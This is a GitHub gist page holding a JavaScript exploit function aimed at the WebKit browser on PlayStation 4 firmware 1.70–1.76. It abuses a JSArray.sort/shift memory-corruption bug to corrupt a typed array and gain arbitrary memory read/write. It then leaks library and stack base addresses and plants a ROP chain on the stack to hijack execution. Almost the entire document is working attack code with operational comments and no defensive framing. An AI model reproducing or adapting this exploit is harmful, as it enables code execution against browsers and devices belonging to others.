Created
November 12, 2014 07:01
-
-
Save ahornerr/33a8b2079f7b00377562 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function tryExplMac64(att) | |
{ | |
try { | |
// | |
// Part 1: getting the Uint32Array object address | |
// | |
// init vars | |
var u32 = new Uint32Array(0x100); | |
var a1 = [0,1,2,3,u32]; | |
var a2 = [0,1,2,3,4]; // right after a1 | |
var a1len = a1.length; | |
var a2len = a2.length; | |
var u32len = u32.length; | |
// protect local vars from GC // for gdb | |
if (!_gc) _gc = new Array(); | |
_gc.push(u32,a1,a2); | |
// declare custom compare function | |
var myCompFunc = function(x,y) | |
{ | |
// check for the last call for last two array items | |
if (y == 3 && x == u32) { | |
//logAdd("myCompFunc(u32,3)"); | |
// shift() is calling during sort(), what causes the | |
// last array item is written outside the array buffer | |
a1.shift(); | |
} | |
return 0; | |
} | |
// call the vulnerable method - JSArray.sort(...) | |
a1.sort(myCompFunc); | |
// check results: a2.length should be overwritten by a1[4] | |
var len = a2.length; | |
//logAdd("a2.length = 0x" + len.toString(16)); | |
if (len == a2len) { logAdd("error: 1"); return 1; } | |
// | |
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address | |
// | |
// modify our compare function | |
myCompFunc = function(x,y) | |
{ | |
if (y == 0 && x == 1) { | |
//logAdd("myCompFunc(1,0)"); | |
// call shift() again to read the corrupted JSValue from a2.length | |
// into a1[3] on the next sort loop | |
a1.length = a1len; | |
a1.shift(); | |
// modify JSValue | |
a2.length = len + 0x18; | |
} | |
if (y == 3) { | |
//logAdd("myCompFunc(x,3)"); | |
// shift it back to access a1[3] | |
a1.unshift(0); | |
} | |
return 0; | |
} | |
a1.sort(myCompFunc); | |
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) | |
var c = a2.length; | |
//logAdd("a2.length = 0x" + c.toString(16)); | |
if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } | |
// | |
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) | |
// | |
// generate dummy JS functions | |
var f, f2, f2offs, f2old, funcs = new Array(30); | |
c = funcs.length; | |
for(var i=0; i < c; i++){ | |
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); | |
f.prop2 = 0x12345600 + i; | |
funcs[i] = f; | |
} | |
// generate JIT-code | |
for(var i=c-1; i >= 0; i--) { funcs[i](i); } | |
// prepare objects for the third sort() call | |
var mo = {}; | |
var pd = { set: funcs[0], enumerable:true, configurable:true } | |
var a3 = [0,1,2,a1[3]]; | |
// allocate mo's property storage right after a3's buffer | |
Object.defineProperty(mo, "prop0", pd); | |
for(var i=1; i < 5; i++){ | |
mo["prop"+i] = i; | |
} | |
// protect from GC | |
_gc.push(a3,mo,funcs); | |
// use sort-n-shift technique again | |
myCompFunc = function(x,y) | |
{ | |
// check for the last call for two last array items | |
if (y == 2) { | |
//logAdd("myCompFunc(a3[3],2)"); | |
// a3[3] will be written over the mo.prop0 object | |
a3.shift(); | |
} | |
return 0; | |
} | |
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 | |
a3.sort(myCompFunc); | |
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. | |
// we should put some valid pointers into GetterSetter | |
u32.prop1 = u32; // GetterSetter.m_structure | |
u32.prop2 = 8; // 8 = JSType.GetterSetterType | |
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() | |
// clear corrupted JSValue | |
a1[3] = 0; a3[3] = 0; | |
// overwrite u32.m_impl by some JSFunction object | |
f = funcs[c-5]; | |
pd.set = f; | |
Object.defineProperty(mo, "prop0", pd); | |
// check results: u32.length is taken from f's internals now | |
//logAdd("u32.length = 0x" + u32.length.toString(16)); | |
if (u32.length == u32len) { logAdd("error: 3"); return 3; } | |
// | |
// Part 4: getting the JIT-code memory address | |
// | |
// declare aux functions | |
var setU64 = function(offs, val) { | |
u32[offs] = val % 0x100000000; | |
u32[offs+1] = val / 0x100000000; | |
} | |
var getU64 = function(offs) { | |
return u32[offs] + u32[offs+1] * 0x100000000; | |
} | |
var getU32 = function(offs) { | |
return u32[offs]; | |
} | |
var getObjAddr = function(obj) { | |
// write obj into u32 data | |
pd.set.prop2 = obj; | |
// read obj address from u32 | |
return getU64(2); | |
} | |
// get the memory address of u32 | |
var u32addr = getObjAddr(u32); | |
//logAdd("u32 address = 0x" + u32addr.toString(16)); | |
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress) | |
var u32base = getObjAddr(pd.set) + 0x20; | |
var u32base0 = u32base; | |
//logAdd("u32 base = 0x" + u32base.toString(16)); | |
// on x64 platforms we can't just set u32.length to the huge number | |
// for ability to access arbitrary addresses. We should be able to | |
// modify the u32's buffer pointer on-the-fly. | |
var setBase = function(addr){ | |
if (!f2) { | |
// search for another JSFunction near "f" | |
for(var i=0x12; i < 0x80; i+=0x10){ | |
if ((u32[i] >>> 8) == 0x123456) { | |
f2 = funcs[u32[i] & 0xFF]; | |
f2offs = i - 6; | |
f2old = getU64(f2offs); | |
break; | |
} | |
} | |
logAdd("f2offs = 0x" + f2offs); | |
if (!f2) { return false; } | |
} | |
if (pd.set != f) { | |
pd.set = f; | |
Object.defineProperty(mo, "prop0", pd); | |
u32base = u32base0; | |
} | |
if (addr == null) return true; | |
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress | |
setU64(f2offs, addr); | |
// overwrite ((JSUint32Array)u32).m_impl again | |
pd.set = f2; | |
Object.defineProperty(mo, "prop0", pd); | |
u32base = addr; | |
//logAdd("u32 new base = 0x" + u32base.toString(16)); | |
return true; | |
} | |
// read/write the 64-bit value from the custom address | |
var getU64from = function(addr) { | |
if (addr < u32base || addr >= u32base + u32len*4) { | |
if (!setBase(addr)) return 0; | |
} | |
return getU64((addr - u32base) >>> 2); | |
} | |
var setU64to = function(addr,val) { | |
if (addr < u32base || addr >= u32base + u32len*4) { | |
if (!setBase(addr)) return 0; | |
} | |
return setU64((addr - u32base) >>> 2, val); | |
} | |
//logAdd("u32 size: 0x" + u32.length.toString(16)); | |
// Get the object table from the origianl heap address | |
// +0x20 is a pointer we can use for some object | |
var xx = getU64from(u32base0+0x20); | |
var yy=0; | |
//logAdd("verify base: 0x"+xx.toString(16) ); | |
// | |
// This is the only part you need to modify | |
// | |
// | |
// | |
// First, the heap array has a pointer into a function | |
// in WebKit2. The one I'm using is always at +0x20 from | |
// the original base at +0x20. | |
// 1.70 PS4 = -0x30bf0 is the start of webkit | |
// +0x25C4000 = some data | |
// +0x2414000 = import table | |
// (import table +0x20) = modules table | |
// If this crashes, try it 2-4 more times. It usually will work | |
// target addr for the rop chain | |
var chain_addr = u32base0 + 0x80000; | |
var chain_data = u32base0 + 0x88000; | |
// xx will be the base address of WebKit2 | |
xx = (getU64from(xx+0x20)-0x30bf0); | |
var wk_base = xx; | |
logAdd("WebKit2 base address = 0x" + xx.toString(16)); | |
xx += 0x2414000; // Get to the import table | |
setBase(xx); | |
xx = getU64from(xx+0x20); // Get to the module table | |
// Future use: data area somewhere around 0x200500000 | |
//logAdd("Dump Address is 0x" + xx.toString(16)); | |
setBase(xx); | |
//get libSceLibcinternal base | |
//var libc_int_base = getU64from(xx+0xf98); //1.71 | |
var libc_int_base = getU64from(xx+0x1628); //1.71 | |
//get libkernel base | |
//xx = getU64from(xx+0xdd8); //1.71 | |
xx = getU64from(xx+0x1468); //1.76 | |
var libkernel_base = xx; | |
setBase(xx); | |
//get stack base | |
//xx = getU64from(xx+0x3D890); //1.76 webkit2 stack? | |
xx = getU64from(xx+0x5B278); //1.76 webprocess stack | |
//yy = getU64from(xx+0x5AA70); //1.71 | |
var stack_base = xx - 0x4000; | |
//yy = getU64from(xx+0x5AA70); | |
logAdd("libkernel Base is 0x" + libkernel_base.toString(16)); | |
logAdd("libSceLibcinternal Base is 0x" + libc_int_base.toString(16)); | |
logAdd("Stack Base is 0x" + stack_base.toString(16)); | |
logAdd("Chain Address is 0x" + chain_addr.toString(16)); | |
//var return_va = 0x2b38; //1.71 | |
var return_va = 0x2b38; //1.76 | |
//var old_va = getU64from(return_va); | |
//var old_va8 = getU64from(return_va+8); | |
// ***************** ROP START ********************* | |
// store data | |
// none | |
// store ROP chain | |
setU64to(chain_addr + 0, wk_base + 735703); | |
// point a return address of the stack to our chain | |
setU64to(stack_base + return_va + 8, chain_addr); | |
setU64to(stack_base + return_va, wk_base + 392117); | |
// ***************** ROP END *********************** | |
// cleanup | |
// restore f2 object | |
if (f2old) { | |
setBase(null); setU64(f2offs, f2old); | |
} | |
// delete corrupted property | |
delete mo.prop0; | |
} | |
catch(e) { | |
logAdd(e); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment